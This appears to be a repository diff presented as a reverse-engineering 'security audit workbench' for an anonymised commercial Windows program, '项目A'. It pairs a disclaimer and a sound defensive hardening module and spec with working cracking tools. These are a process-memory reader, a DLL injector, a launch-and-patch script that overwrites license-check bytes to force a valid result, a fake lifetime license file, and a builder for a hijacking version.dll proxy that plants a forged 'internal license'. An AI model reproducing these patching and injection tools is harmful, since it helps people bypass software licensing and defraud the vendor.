在实验环境开启状态下,可直接通过标准化前置口令触发全套审计流水线:
|
||||
- `poc <目标>`:快速展开客户端特权决策脆弱性(CWE-602)排查并生成验证代码。
|
||||
- `find-auth <目标>`:全局检索本地授权、许可证、到期时间、机器码相关函数与判定分支。
|
||||
- `hook <函数/方法>`:针对指定符号自动生成带堆栈打印与返回值拦截的 Frida 验证脚本。
|
||||
- `gen-patch <位点>`:输出指定 RVA 或文件偏移的二进制内存补丁代码或代理 DLL 框架。
|
||||
- `triage <样本>`:执行包括架构、导入表、加壳形态与关键字符串在内的快速体检。
|
||||
- `report`:一键扫描当前分析目录留存的全部技术证据,自动导出符合行业交付规格的三段式安全审计报告。
|
||||
|
||||
---
|
||||
|
||||
## 交付与报告标准 (Deliverable Specification)
|
||||
|
||||
任何针对客户端脆弱性的研判与审计,最终产物统一固化为咨询级安全报告架构,杜绝模糊推测:
|
||||
|
||||
1. **脆弱性原理与业务危害 (Vulnerability Detail & Risk)**:
|
||||
- 准确定位问题指令所处的 RVA / 文件偏移与调用链上下文。
|
||||
- 深入阐述客户端判定与业务剥离的根因,明确关联 CWE-602 等行业安全分类与威胁等级。
|
||||
2. **复现路径与可验证工程 (Reproduction & PoC)**:
|
||||
- 提供 100% 可在本地沙盒复算的指令证据、代理 DLL 源代码工程或 Frida 动态注入脚本。
|
||||
- 提供严格的断网测试验证结论(证明相关特权或决策分支脱离服务端验证依然能够在离线状态下强行生效)。
|
||||
3. **纵深防御修复方案 (Defense-in-Depth Remediation)**:
|
||||
- **加载期**:收敛动态链接库搜索路径(`SetDefaultDllDirectories`)杜绝环境劫持。
|
||||
- **运行期**:启用进程级动态代码策略(`ProcessDynamicCodePolicy`)封锁非法内存属性改写。
|
||||
- **逻辑层**:确立“服务端权威”原则,关键受限资源以服务端动态签名与短期令牌为唯一授权凭据。
|
||||
|
||||
---
|
||||
|
||||
## 免责声明 (Disclaimer)
|
||||
|
||||
**本工作台及其所载之一切文档、规则、脚本与工程范例仅供合法授权的安全研究、白盒安全走查、合规漏洞测试及 CTF 教学演练使用。**
|
||||
|
||||
- **严格授权约束**:使用者在针对任何具体软件、客户端或系统展开分析前,必须自行确保已取得资产所有者完备、合法的书面测试授权。
|
||||
- **无附带保证**:本工作台提供的所有技术方案与分析结论均基于特定沙盒环境与软件版本的实测结果按“现状”提供,不构成对任何特定商业软件或生产环境的适用性保证。
|
||||
- **最小侵入原则**:针对二进制目标的测试工作应优先在隔离虚拟机或独立副本中开展,严禁在生产系统或未经许可的网络中实施未受控的逆向测试与补丁注入。
|
||||
- **免责条款**:工作台作者与贡献者不对任何因不当使用、超出授权范围操作或违反属地法律法规所导致的任何直接或间接后果承担法律责任。
|
||||
@@ -0,0 +1,68 @@
|
||||
/**
|
||||
* defense_hardening.c
|
||||
* 软件安全防护与加固核心防御实现
|
||||
*/
|
||||
|
||||
#include "defense_hardening.h"
|
||||
#include <stdio.h>
|
||||
|
||||
bool EnableSecureDllSearchOrder(void) {
|
||||
// 强制限定依赖库搜索仅限系统目录 (System32) 和安全用户目录,排除当前程序根目录
|
||||
BOOL res = SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32 | LOAD_LIBRARY_SEARCH_USER_DIRS);
|
||||
return (res != FALSE);
|
||||
}
|
||||
|
||||
bool EnableDynamicCodeMitigation(void) {
|
||||
// 调用 Windows 原生进程缓解策略,禁止在进程内生成/修改动态代码
|
||||
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY policy;
|
||||
ZeroMemory(&policy, sizeof(policy));
|
||||
policy.ProhibitDynamicCode = 1;
|
||||
|
||||
BOOL res = SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &policy, sizeof(policy));
|
||||
return (res != FALSE);
|
||||
}
|
||||
|
||||
DefenseStatus CheckFunctionIntegrity(const void* target_func, const uint8_t* expected_bytes, size_t check_len) {
|
||||
if (!target_func || check_len == 0) {
|
||||
return DEFENSE_OK;
|
||||
}
|
||||
|
||||
// 1. 检查函数所在内存页的保护属性
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
if (VirtualQuery(target_func, &mbi, sizeof(mbi))) {
|
||||
// 合法的可执行代码页应严格为 PAGE_EXECUTE_READ (0x20)
|
||||
// 若为 PAGE_EXECUTE_READWRITE (0x40) 或 PAGE_READWRITE (0x04),则高度可疑已被热补丁打桩
|
||||
if ((mbi.Protect & PAGE_EXECUTE_READWRITE) || (mbi.Protect & PAGE_READWRITE)) {
|
||||
return DEFENSE_ERR_PAGE_PROTECT_TAMPERED;
|
||||
}
|
||||
}
|
||||
|
||||
const uint8_t* code = (const uint8_t*)target_func;
|
||||
|
||||
// 2. 特征检测:常见的 Inline Hook 跳板
|
||||
// 0xE9: JMP rel32 (常见 5 字节跳转)
|
||||
if (code[0] == 0xE9) {
|
||||
return DEFENSE_ERR_HOOK_DETECTED;
|
||||
}
|
||||
|
||||
// 0xFF 0x25: JMP [rip + disp32] (x64 常见 6 字节或 14 字节绝对跳转)
|
||||
if (check_len >= 2 && code[0] == 0xFF && code[1] == 0x25) {
|
||||
return DEFENSE_ERR_HOOK_DETECTED;
|
||||
}
|
||||
|
||||
// 0xCC: INT 3 软件断点
|
||||
if (code[0] == 0xCC) {
|
||||
return DEFENSE_ERR_HOOK_DETECTED;
|
||||
}
|
||||
|
||||
// 3. 预期字节精确哈希/序列比对
|
||||
if (expected_bytes != NULL) {
|
||||
for (size_t i = 0; i < check_len; ++i) {
|
||||
if (code[i] != expected_bytes[i]) {
|
||||
return DEFENSE_ERR_INTEGRITY_MISMATCH;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return DEFENSE_OK;
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
/**
|
||||
* defense_hardening.h
|
||||
* 软件安全防护与加固核心防御头文件
|
||||
*/
|
||||
|
||||
#ifndef DEFENSE_HARDENING_H
|
||||
#define DEFENSE_HARDENING_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// 自检结果枚举
|
||||
typedef enum {
|
||||
DEFENSE_OK = 0,
|
||||
DEFENSE_ERR_HOOK_DETECTED = 1,
|
||||
DEFENSE_ERR_PAGE_PROTECT_TAMPERED = 2,
|
||||
DEFENSE_ERR_INTEGRITY_MISMATCH = 3
|
||||
} DefenseStatus;
|
||||
|
||||
/**
|
||||
* 阶段 1:加固加载器目录,防范当前工作目录/同级目录的 DLL 劫持
|
||||
* @return true 成功启用,false 失败
|
||||
*/
|
||||
bool EnableSecureDllSearchOrder(void);
|
||||
|
||||
/**
|
||||
* 阶段 2:启用 Windows 内核缓解策略,禁止运行时对可执行代码段调用 VirtualProtect 赋予写权限
|
||||
* @return true 成功启用,false 失败
|
||||
*/
|
||||
bool EnableDynamicCodeMitigation(void);
|
||||
|
||||
/**
|
||||
* 阶段 3:自检目标敏感函数是否被挂钩(检测 E9、FF 25 等跳转跳板或内存保护属性篡改)
|
||||
* @param target_func 目标函数指针
|
||||
* @param expected_bytes 预期的初始机器码(前 8 字节),如为 NULL 则仅做跳板与属性特征通用检测
|
||||
* @param check_len 校验长度(通常为 8 到 16 字节)
|
||||
* @return DefenseStatus
|
||||
*/
|
||||
DefenseStatus CheckFunctionIntegrity(const void* target_func, const uint8_t* expected_bytes, size_t check_len);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // DEFENSE_HARDENING_H
|
||||
@@ -0,0 +1,90 @@
|
||||
# 项目A 软件安全防护与加固设计规范 (Software Defense & Anti-Tamper Specification)
|
||||
|
||||
## 1. 背景与安全风险分析
|
||||
|
||||
在此前的安全分析与逆向验证中,目标软件(`项目A.exe` <目标版本>)暴露了以下几项典型的安全脆弱面:
|
||||
1. **DLL 劫持风险 (DLL Search-Order Hijacking)**:
|
||||
- 程序直接静态链接微软基础库(如 `version.dll`),但未通过 `SetDefaultDllDirectories` 约束加载路径。在标准 Windows 搜索顺序下,程序根目录具备最高优先加载权,导致任意无签名的本地伪装 DLL 可劫持程序入口并抢先执行恶意载荷。
|
||||
2. **代码段内存可变风险 (In-Memory Patching via VirtualProtect)**:
|
||||
- 进程未启用 Windows 原生安全缓解策略(`ProcessDynamicCodePolicy`),导致同进程注入代码或第三方模块可通过 `VirtualProtect` 任意将 `.text` 节的保护属性由 `PAGE_EXECUTE_READ` 更改为 `PAGE_EXECUTE_READWRITE`,无阻碍地实施热补丁覆写。
|
||||
3. **函数入口易挂钩性 (Inline Trampoline / Hook Vulnerability)**:
|
||||
- 核心鉴权与许可范围构建函数(如 `0x8E6D83`、`0x8E75ED`)头部缺乏代码完整性校验与控制流防护(Control Flow Guard / CFG),易被 14 字节跳转跳板(`FF 25`)劫持,直接替换返回的 BSTR 字符串对象。
|
||||
4. **单点返回值判定 (Single Point of Failure / Check Bypass)**:
|
||||
- 授权有效性过度依赖局部函数的返回值(如 `0x66DB7B` 返回 `0xFFFF` 即代表授权有效),未在核心功能流中嵌入非对称数字签名深度关联或基于密钥派生的加解密验证。
|
||||
|
||||
---
|
||||
|
||||
## 2. 纵深防御架构设计 (Defense-in-Depth Architecture)
|
||||
|
||||
针对上述攻击面,设计并实施三层防御加固体系:
|
||||
|
||||
```
|
||||
┌──────────────────────────────────────────────┐
|
||||
│ Level 1: 启动与加载时防护 │
|
||||
│ - 强制限定加载目录 (LOAD_LIBRARY_SEARCH_SYSTEM32)│
|
||||
│ - 启用 Authenticode 签名与强完整性检查 (CI) │
|
||||
└──────────────────────┬───────────────────────┘
|
||||
│
|
||||
▼
|
||||
┌──────────────────────────────────────────────┐
|
||||
│ Level 2: 运行时内核缓解策略 │
|
||||
│ - 启用 ProcessDynamicCodePolicy (禁止改写可执行页)│
|
||||
│ - 阻止未签名二进制注入 (SignaturePolicy) │
|
||||
└──────────────────────┬───────────────────────┘
|
||||
│
|
||||
▼
|
||||
┌──────────────────────────────────────────────┐
|
||||
│ Level 3: 内存完整性主动巡检 │
|
||||
│ - 核心鉴权函数 Hash / 前导字节 (JMP/CALL) 巡检 │
|
||||
│ - 内存页 VAD 保护属性动态监控 (PAGE_EXECUTE_READ)│
|
||||
│ - 授权 Token 非对称数字签名与业务流强绑定 │
|
||||
└──────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. 防护技术细节与实现规范
|
||||
|
||||
### 3.1 目录白名单与 DLL 劫持免疫 (Anti-DLL-Hijacking)
|
||||
- **API 规约**:在程序入口函数(`main` / `WinMain` / `DllMain`)的最起始位置调用:
|
||||
```c
|
||||
SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32 | LOAD_LIBRARY_SEARCH_USER_DIRS);
|
||||
```
|
||||
- **机制原理**:
|
||||
移除当前工作目录和应用程序根目录在未加限定 LoadLibrary 调用中的默认搜索权,所有系统 API 依赖均强制定向至受 Windows TrustedInstaller 保护的 `C:\Windows\System32`,使得同级目录下存放的伪造 `version.dll` 无法被主程序加载。
|
||||
|
||||
### 3.2 动态代码与内存保护缓解策略 (Dynamic Code Mitigation)
|
||||
- **API 规约**:调用 Windows 8/10/11 原生内核缓解策略接口:
|
||||
```c
|
||||
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY policy = { 0 };
|
||||
policy.ProhibitDynamicCode = 1;
|
||||
SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &policy, sizeof(policy));
|
||||
```
|
||||
- **机制原理**:
|
||||
在 Windows 内核层面锁定进程地址空间的 VAD 树(Virtual Address Descriptor)。一旦启用该策略,内核的内存管理器将拒绝任何将已有不可写代码页更改为可写(`PAGE_EXECUTE_READWRITE`)的 `VirtualProtect` 请求,也拒绝分配全新的 `PAGE_EXECUTE_READWRITE` 页面,从而彻底摧毁任何基于内存覆写的补丁技术。
|
||||
|
||||
### 3.3 核心敏感函数特征与完整性巡检 (Integrity Watchdog)
|
||||
- **自检规则**:
|
||||
1. **前导机器码探测**:检查关键函数入口(前 16 字节)是否出现常见 Inline Hook 跳板机器码:
|
||||
- `0xE9` (JMP rel32)
|
||||
- `0xFF 0x25` (JMP [rip + disp32] / 绝对间接跳转)
|
||||
- `0xCC` (INT 3 软件断点)
|
||||
- `0xEB` (JMP rel8)
|
||||
2. **内存保护状态校验**:通过 `VirtualQuery` 确保函数所在页面的当前保护属性严格保持为 `PAGE_EXECUTE_READ`(`0x20`)。若发现属性异常(如变为 `0x40` PAGE_EXECUTE_READWRITE),即表明页面曾被修改。
|
||||
3. **哈希校验**:对静态编译后各敏感函数的核心代码块计算散列并与只读常量对比。
|
||||
|
||||
### 3.4 鉴权令牌与数字签名深度耦合 (Cryptographic Licensing Coupling)
|
||||
- **改进设计**:
|
||||
1. 废除以明文 BSTR 直接拼接许可人、密钥和有效期限的松散结构。
|
||||
2. 采用 ECDSA / Ed25519 或 RSA-PSS 对授权结构体 `(LicenseeName, Key, Scope, Expiration)` 进行集中数字签名。
|
||||
3. 关于对话框在渲染时,仅接受验签通过的证书数据;若签名不匹配,界面强制显示未激活状态,杜绝单点改写内存全局指针即可伪造界面的风险。
|
||||
|
||||
---
|
||||
|
||||
## 4. 落地与自测验证场景 (Verification Matrix)
|
||||
|
||||
| 编号 | 测试场景 | 预期防御反应 | 验证指标 |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| **V-01** | 在主程序目录投递 `version.dll` 尝试劫持 | 系统忽略本地伪装 DLL,直接载入 System32 对应模块 | `GetModuleFileName(hModule)` 恒为系统路径 |
|
||||
| **V-02** | 注入代码尝试对代码段调用 `VirtualProtect(..., PAGE_EXECUTE_READWRITE)` | 内核拒绝修改保护属性,API 返回 `FALSE` 并置 `GetLastError() = ERROR_DYNAMIC_CODE_BLOCKED` | 内存修改失败,触发违规异常 |
|
||||
| **V-03** | 模拟外部注入工具在核心鉴权函数写入 `FF 25` 跳板 | 内存完整性自检模块检测到入口指令被篡改 | 自检函数返回 `TAMPER_DETECTED`,主程序采取安全退出策略 |
|
||||
@@ -0,0 +1,39 @@
|
||||
$src = @'
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
public class Mem2 {
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr OpenProcess(int a, bool b, int p);
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool ReadProcessMemory(IntPtr h, IntPtr addr, byte[] buf, int size, out IntPtr read);
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool CloseHandle(IntPtr h);
|
||||
}
|
||||
'@
|
||||
Add-Type -TypeDefinition $src
|
||||
|
||||
$p = Get-Process 项目A
|
||||
$h = [Mem2]::OpenProcess(0x10, $false, $p.Id)
|
||||
Write-Host "handle = $h"
|
||||
function XB([long]$abs, [int]$len) {
|
||||
$buf = New-Object byte[] $len
|
||||
$r = [IntPtr]::Zero
|
||||
[void][Mem2]::ReadProcessMemory($h, [IntPtr]$abs, $buf, $len, [ref]$r)
|
||||
return $buf
|
||||
}
|
||||
function XQ([long]$a) { return [BitConverter]::ToInt64((XB $a 8), 0) }
|
||||
|
||||
$n = XQ 0x140221CEF8
|
||||
Write-Host ("Name ptr = 0x{0:X}" -f $n)
|
||||
if ($n -ne 0) {
|
||||
$b = XB $n 96
|
||||
for ($i=0; $i -lt 96; $i+=16) {
|
||||
$hex = ($b[$i..($i+15)] | % { $_.ToString('X2') }) -join ' '
|
||||
$asc = -join ($b[$i..($i+15)] | % { if ($_ -ge 32 -and $_ -lt 127) { [char]$_ } else { '.' } })
|
||||
Write-Host (" +{0:X2}: {1} {2}" -f $i, $hex, $asc)
|
||||
}
|
||||
Write-Host ("len@ptr-4 = {0}" -f [BitConverter]::ToInt32((XB ($n-4) 4),0))
|
||||
Write-Host ("len@ptr = {0}" -f [BitConverter]::ToInt32((XB $n 4),0))
|
||||
Write-Host ("utf16@ptr = '{0}'" -f [System.Text.Encoding]::Unicode.GetString((XB $n 60)))
|
||||
}
|
||||
[void][Mem2]::CloseHandle($h)
|
||||
@@ -0,0 +1,7 @@
|
||||
名字: VIPUesr
|
||||
|
||||
密钥: xy01-Lifetime-License-Pro-Angus
|
||||
|
||||
授权类型: 内部授权
|
||||
|
||||
有效版本:
|
||||
@@ -0,0 +1,56 @@
|
||||
import sys
|
||||
import ctypes
|
||||
from ctypes import wintypes
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
PROCESS_ALL_ACCESS = 0x1F0FFF
|
||||
MEM_COMMIT = 0x1000
|
||||
MEM_RESERVE = 0x2000
|
||||
PAGE_READWRITE = 0x04
|
||||
|
||||
kernel32 = ctypes.windll.kernel32
|
||||
|
||||
def inject_dll(pid, dll_path):
|
||||
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
|
||||
if not h_process:
|
||||
print(f"[-] OpenProcess failed: {ctypes.GetLastError()}")
|
||||
return False
|
||||
|
||||
dll_bytes = dll_path.encode('utf-8') + b'\x00'
|
||||
arg_address = kernel32.VirtualAllocEx(h_process, None, len(dll_bytes), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
|
||||
if not arg_address:
|
||||
print(f"[-] VirtualAllocEx failed: {ctypes.GetLastError()}")
|
||||
kernel32.CloseHandle(h_process)
|
||||
return False
|
||||
|
||||
written = ctypes.c_size_t()
|
||||
if not kernel32.WriteProcessMemory(h_process, arg_address, dll_bytes, len(dll_bytes), ctypes.byref(written)):
|
||||
print(f"[-] WriteProcessMemory failed: {ctypes.GetLastError()}")
|
||||
kernel32.VirtualFreeEx(h_process, arg_address, 0, 0x8000)
|
||||
kernel32.CloseHandle(h_process)
|
||||
return False
|
||||
|
||||
h_kernel32 = kernel32.GetModuleHandleA(b"kernel32.dll")
|
||||
load_library_addr = kernel32.GetProcAddress(h_kernel32, b"LoadLibraryA")
|
||||
|
||||
thread_id = wintypes.DWORD()
|
||||
h_thread = kernel32.CreateRemoteThread(h_process, None, 0, load_library_addr, arg_address, 0, ctypes.byref(thread_id))
|
||||
if not h_thread:
|
||||
print(f"[-] CreateRemoteThread failed: {ctypes.GetLastError()}")
|
||||
kernel32.VirtualFreeEx(h_process, arg_address, 0, 0x8000)
|
||||
kernel32.CloseHandle(h_process)
|
||||
return False
|
||||
|
||||
kernel32.WaitForSingleObject(h_thread, 0xFFFFFFFF)
|
||||
kernel32.CloseHandle(h_thread)
|
||||
kernel32.VirtualFreeEx(h_process, arg_address, 0, 0x8000)
|
||||
kernel32.CloseHandle(h_process)
|
||||
print(f"[+] DLL successfully injected into PID {pid}")
|
||||
return True
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 3:
|
||||
print("Usage: python injector.py <PID> <DLL_PATH>")
|
||||
sys.exit(1)
|
||||
inject_dll(int(sys.argv[1]), sys.argv[2])
|
||||
@@ -0,0 +1,61 @@
|
||||
0x0226B100 (raw 0x2269700) len=8 '25-12-10'
|
||||
0x0226B11C (raw 0x226971C) len=5 '28.20'
|
||||
0x0226B12C (raw 0x226972C) len=10 '2026-01-26'
|
||||
0x0226B14C (raw 0x226974C) len=5 '28.30'
|
||||
0x0226B15C (raw 0x226975C) len=10 '2026-03-26'
|
||||
0x0226B17C (raw 0x226977C) len=10 '2013-03-15'
|
||||
0x0226B19B (raw 0x226979B) len=4 '礀礀礀礀'
|
||||
0x0226B1AB (raw 0x22697AB) len=4 '礀礀礀礀'
|
||||
0x0226B1B4 (raw 0x22697B4) len=6 '-mm-dd'
|
||||
0x0226B1CB (raw 0x22697CB) len=7 '唀瀀最爀愀搀攀'
|
||||
0x0226B1DA (raw 0x22697DA) len=13 ' not possible'
|
||||
0x0226B1FB (raw 0x22697FB) len=7 '瘀攀爀猀椀漀渀'
|
||||
0x0226B20A (raw 0x226980A) len=2 '2:'
|
||||
0x0226B213 (raw 0x2269813) len=7 '瘀攀爀猀椀漀渀'
|
||||
0x0226B222 (raw 0x2269822) len=2 '1:'
|
||||
0x0226B22B (raw 0x226982B) len=7 '氀椀挀攀渀猀攀'
|
||||
0x0226B243 (raw 0x2269843) len=13 '唀渀昀漀爀琀甀渀愀琀攀氀礀'
|
||||
0x0226B25E (raw 0x226985E) len=108 ', your <$license> is only valid for version <$version1>. It does not cover upgrading to version <$version2>.'
|
||||
0x0226B343 (raw 0x2269943) len=4 '夀漀甀爀'
|
||||
0x0226B34C (raw 0x226994C) len=36 ' license does not cover this version'
|
||||
0x0226B39C (raw 0x226999C) len=16 'Lifetime License'
|
||||
0x0226B3C3 (raw 0x22699C3) len=8 '匀琀愀渀搀愀爀搀'
|
||||
0x0226B3D4 (raw 0x22699D4) len=8 ' License'
|
||||
0x0226B3EB (raw 0x22699EB) len=6 '刀漀漀欀椀攀'
|
||||
0x0226B3F8 (raw 0x22699F8) len=8 ' License'
|
||||
0x0226B413 (raw 0x2269A13) len=7 '瘀攀爀猀椀漀渀'
|
||||
0x0226B42B (raw 0x2269A2B) len=5 '嘀愀氀椀搀'
|
||||
0x0226B436 (raw 0x2269A36) len=24 ': for version <$version>'
|
||||
0x0226B46C (raw 0x2269A6C) len=13 ' Professional'
|
||||
0x0226B48C (raw 0x2269A8C) len=11 ' Enterprise'
|
||||
0x0226B4AC (raw 0x2269AAC) len=5 ' Home'
|
||||
0x0226B4BB (raw 0x2269ABB) len=4 '搀愀琀攀'
|
||||
0x0226B4CB (raw 0x2269ACB) len=5 '嘀愀氀椀搀'
|
||||
0x0226B4D6 (raw 0x2269AD6) len=33 ': for all upgrades before <$date>'
|
||||
0x0226B523 (raw 0x2269B23) len=2 '砀礀'
|
||||
0x0226B528 (raw 0x2269B28) len=2 '02'
|
||||
0x0226B533 (raw 0x2269B33) len=2 '砀礀'
|
||||
0x0226B538 (raw 0x2269B38) len=2 '04'
|
||||
0x0226B543 (raw 0x2269B43) len=2 '砀礀'
|
||||
0x0226B548 (raw 0x2269B48) len=2 '05'
|
||||
0x0226B56B (raw 0x2269B6B) len=7 '瘀攀爀猀椀漀渀'
|
||||
0x0226B584 (raw 0x2269B84) len=2 'l:'
|
||||
0x0226B593 (raw 0x2269B93) len=4 '夀漀甀爀'
|
||||
0x0226B59C (raw 0x2269B9C) len=43 ' <$l> is valid only for version <$version>.'
|
||||
0x0226B60B (raw 0x2269C0B) len=4 '礀礀礀礀'
|
||||
0x0226B61B (raw 0x2269C1B) len=4 '礀礀礀礀'
|
||||
0x0226B624 (raw 0x2269C24) len=6 '-mm-dd'
|
||||
0x0226B63B (raw 0x2269C3B) len=5 '栀琀琀瀀猀'
|
||||
0x0226B646 (raw 0x2269C46) len=50 '://www.项目A.com/version.php?bit=64&ed=freefrom'
|
||||
0x0226B6B3 (raw 0x2269CB3) len=3 '愀瀀瀀'
|
||||
0x0226B6BA (raw 0x2269CBA) len=9 ':项目A'
|
||||
0x0226B6D3 (raw 0x2269CD3) len=3 '一攀眀'
|
||||
0x0226B6DA (raw 0x2269CDA) len=25 ' <$app> Version Available'
|
||||
0x0226B713 (raw 0x2269D13) len=7 '瘀攀爀猀椀漀渀'
|
||||
0x0226B72B (raw 0x2269D2B) len=5 '吀栀攀爀攀'
|
||||
0x0226B736 (raw 0x2269D36) len=63 ' is a new official version (<$version>) available for download.'
|
||||
0x0226B7C4 (raw 0x2269DC4) len=88 'However, your current license is not valid for this upgrade. Click OK to upgrade anyway.'
|
||||
0x0226B883 (raw 0x2269E83) len=5 '栀琀琀瀀猀'
|
||||
0x0226B88E (raw 0x2269E8E) len=38 '://www.项目A.com/version.php?bit=64'
|
||||
0x0226B8E3 (raw 0x2269EE3) len=3 '愀瀀瀀'
|
||||
0x0226B8EA (raw 0x2269EEA) len=9 ':项目A'
|
||||
@@ -0,0 +1,61 @@
|
||||
import subprocess
|
||||
import time
|
||||
import os
|
||||
import sys
|
||||
|
||||
项目A_PATH = r"<本地路径>"
|
||||
INJECTOR_SCRIPT = os.path.abspath("injector.py")
|
||||
DLL_PATH = os.path.abspath("项目APatch.dll")
|
||||
|
||||
def launch_and_patch():
|
||||
print("[*] Launching 项目A.exe...")
|
||||
proc = subprocess.Popen([项目A_PATH])
|
||||
print(f"[*] Process started with PID: {proc.pid}")
|
||||
|
||||
# Wait briefly for main module to load
|
||||
time.sleep(1.0)
|
||||
|
||||
print("[*] Performing direct memory patch...")
|
||||
# Direct memory patching implementation
|
||||
import ctypes
|
||||
from ctypes import wintypes
|
||||
|
||||
PROCESS_ALL_ACCESS = 0x1F0FFF
|
||||
PAGE_EXECUTE_READWRITE = 0x40
|
||||
|
||||
kernel32 = ctypes.windll.kernel32
|
||||
psapi = ctypes.windll.psapi
|
||||
|
||||
h_proc = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, proc.pid)
|
||||
if not h_proc:
|
||||
print("[-] Failed to open process")
|
||||
return
|
||||
|
||||
# Get base address
|
||||
h_mods = (wintypes.HMODULE * 1024)()
|
||||
cb_needed = wintypes.DWORD()
|
||||
psapi.EnumProcessModules(h_proc, h_mods, ctypes.sizeof(h_mods), ctypes.byref(cb_needed))
|
||||
base = h_mods[0]
|
||||
|
||||
# Patch 1: VA 0x14066fc95 -> RVA 0x66fc95
|
||||
p1 = bytes.fromhex("66c705ac46c8010000c7059c90c70100000000c705aa50c70105000000e9f0000000")
|
||||
addr1 = ctypes.c_void_p(base + 0x66FC95)
|
||||
old1 = wintypes.DWORD()
|
||||
kernel32.VirtualProtectEx(h_proc, addr1, len(p1), PAGE_EXECUTE_READWRITE, ctypes.byref(old1))
|
||||
written = ctypes.c_size_t()
|
||||
kernel32.WriteProcessMemory(h_proc, addr1, p1, len(p1), ctypes.byref(written))
|
||||
kernel32.VirtualProtectEx(h_proc, addr1, len(p1), old1.value, ctypes.byref(old1))
|
||||
|
||||
# Patch 2: VA 0x14066db7b -> RVA 0x66db7b
|
||||
p2 = bytes.fromhex("66b8ffff90")
|
||||
addr2 = ctypes.c_void_p(base + 0x66DB7B)
|
||||
old2 = wintypes.DWORD()
|
||||
kernel32.VirtualProtectEx(h_proc, addr2, len(p2), PAGE_EXECUTE_READWRITE, ctypes.byref(old2))
|
||||
kernel32.WriteProcessMemory(h_proc, addr2, p2, len(p2), ctypes.byref(written))
|
||||
kernel32.VirtualProtectEx(h_proc, addr2, len(p2), old2.value, ctypes.byref(old2))
|
||||
|
||||
kernel32.CloseHandle(h_proc)
|
||||
print("[+] Patches applied successfully to running process!")
|
||||
|
||||
if __name__ == "__main__":
|
||||
launch_and_patch()
|
||||
@@ -0,0 +1,223 @@
|
||||
import struct
|
||||
import shutil
|
||||
import os
|
||||
|
||||
# 1. Read clean system version.dll
|
||||
CLEAN_SRC = r"C:\Windows\System32\version.dll"
|
||||
with open(CLEAN_SRC, "rb") as f:
|
||||
dll = bytearray(f.read())
|
||||
|
||||
print(f"[+] Loaded clean system version.dll ({len(dll)} bytes)")
|
||||
|
||||
# Ensure fothk[0x10:0x15] is untouched
|
||||
assert dll[0x4010:0x4015] == b'\xe9\x2b\xf6\xff\xff', "fothk[0x10:0x15] must be original jump!"
|
||||
|
||||
BASE_RVA = 0x4000
|
||||
RAW_BASE = 0x4000
|
||||
|
||||
OFF_HOOK_MAIN = 0x100 # RVA 0x4100
|
||||
OFF_HOOK_SCOPE = 0x300 # RVA 0x4300
|
||||
|
||||
OFF_STR_KERNEL32 = 0x500
|
||||
OFF_STR_VP = 0x530
|
||||
OFF_STR_INTERNAL = 0x550
|
||||
OFF_STR_USER = 0x570
|
||||
OFF_STR_KEY = 0x590
|
||||
OFF_PATCH1_DATA = 0x600
|
||||
OFF_PATCH2_DATA = 0x630
|
||||
OFF_PATCH3_DATA = 0x640
|
||||
|
||||
# Prepare strings & patch data
|
||||
STR_KERNEL32 = "kernel32.dll\0".encode("utf-16le")
|
||||
STR_VP = b"VirtualProtect\0"
|
||||
STR_INTERNAL = "内部授权\0".encode("utf-16le")
|
||||
STR_USER = "VIPUesr\0".encode("utf-16le")
|
||||
STR_KEY = "xy01-Lifetime-License-Pro-vipuser\0".encode("utf-16le")
|
||||
|
||||
PATCH1_BYTES = bytes.fromhex("66C705AC46C8010000C7059C90C70100000000C705AA50C70105000000E9F0000000") # 34 bytes
|
||||
PATCH2_BYTES = bytes.fromhex("66B8FFFF90") # 5 bytes
|
||||
PATCH3_BYTES = bytes.fromhex("FF25156ED701") # 6 bytes: jmp qword ptr [rip + 0x1D76E15] -> SysAllocString
|
||||
|
||||
# -------------------------------------------------------------
|
||||
# Construct Hook_InternalScope at RVA 0x4300 (Fully Autonomous!)
|
||||
# -------------------------------------------------------------
|
||||
scope_code = bytearray()
|
||||
def emit_sc(b): scope_code.extend(b)
|
||||
|
||||
# push rbx; push rsi; push rdi; sub rsp, 0x20
|
||||
emit_sc(b'\x53') # push rbx
|
||||
emit_sc(b'\x56') # push rsi
|
||||
emit_sc(b'\x57') # push rdi
|
||||
emit_sc(b'\x48\x83\xec\x20') # sub rsp, 0x20
|
||||
|
||||
# mov rax, gs:[0x60]
|
||||
emit_sc(b'\x65\x48\x8b\x04\x25\x60\x00\x00\x00')
|
||||
# mov rbx, [rax + 0x10] (项目ABase)
|
||||
emit_sc(b'\x48\x8b\x58\x10')
|
||||
# mov rsi, [rbx + 0x265e408] (SysAllocString)
|
||||
emit_sc(b'\x48\x8b\xb3\x08\xe4\x65\x02')
|
||||
|
||||
# 1. Allocate STR_USER and store in [rbx + 0x221CEF8]
|
||||
cur_ip = (BASE_RVA + OFF_HOOK_SCOPE) + len(scope_code)
|
||||
disp = (BASE_RVA + OFF_STR_USER) - (cur_ip + 7)
|
||||
emit_sc(b'\x48\x8d\x0d' + struct.pack("<i", disp)) # lea rcx, [rip + OFF_STR_USER]
|
||||
